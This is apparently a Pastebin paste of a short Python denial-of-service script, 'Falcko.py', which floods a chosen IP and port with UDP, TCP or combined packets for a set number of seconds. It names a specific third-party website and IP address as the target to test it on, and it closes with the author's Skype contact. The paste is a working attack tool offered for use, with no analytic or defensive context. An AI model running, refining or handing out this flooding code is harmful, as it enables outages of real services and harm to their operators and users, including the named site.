Advertisement
Coby_Root

Falcko.py | By Falcko

Sep 25th, 2017
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. #Script By Falcko.rpz !
  2.  
  3. # Test the script with this site : http://elek.esy.es/ (ip : 31.220.16.104)
  4.  
  5. import socket
  6. import math
  7. import sys
  8. import threading
  9. import random
  10. import re
  11. import urllib
  12. import ssl
  13. import multiprocessing
  14. import time
  15. import getopt
  16.  
  17. def help():
  18. print("Script DDOS by Falcko: Falcko.py <methode>")
  19. print(" udp <ip> <port> <time>")
  20. print(" tcp <ip> <port> <time>")
  21.  
  22. def finddos():
  23. global on
  24. on = False
  25.  
  26. if len(sys.argv) == 1:
  27. help()
  28. elif len(sys.argv) == 5:
  29. methode = sys.argv[1]
  30. ip = sys.argv[2]
  31. port = int(sys.argv[3])
  32. time = int(sys.argv[4])
  33. if methode == "udp":
  34. print("UDP: " + str(ip) + ":" + str(port) + " " + str(time) + "sec")
  35. udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  36. on = True
  37. timer = threading.Timer(time, finddos)
  38. timer.start()
  39. while on:
  40. udp.sendto(b"DarthnetWorks",(ip, port))
  41. elif methode == "tcp":
  42. print("TCP: " + str(ip) + ":" + str(port) + " " + str(time) + "sec")
  43. tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  44. tcp.connect((ip, port))
  45. on = True
  46. timer = threading.Timer(time, finddos)
  47. timer.start()
  48. while on:
  49. tcp.send(b"DarthnetWorks")
  50. tcp.close()
  51. elif methode == "patator-ip":
  52. print("Patator-ip: " + str(ip) + ":" + str(port) + " " + str(time) + "sec")
  53. udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  54. tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  55. tcp.connect((ip, port))
  56. on = True
  57. timer = threading.Timer(time, finddos)
  58. timer.start()
  59. while on:
  60. udp.sendto(b"DarthnetWorks",(ip, port))
  61. tcp.send(b"DarthnetWorks")
  62. tcp.close()
  63. else:
  64. help()
  65. else:
  66. help()
  67. print("Skype : Falcko.rpz")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement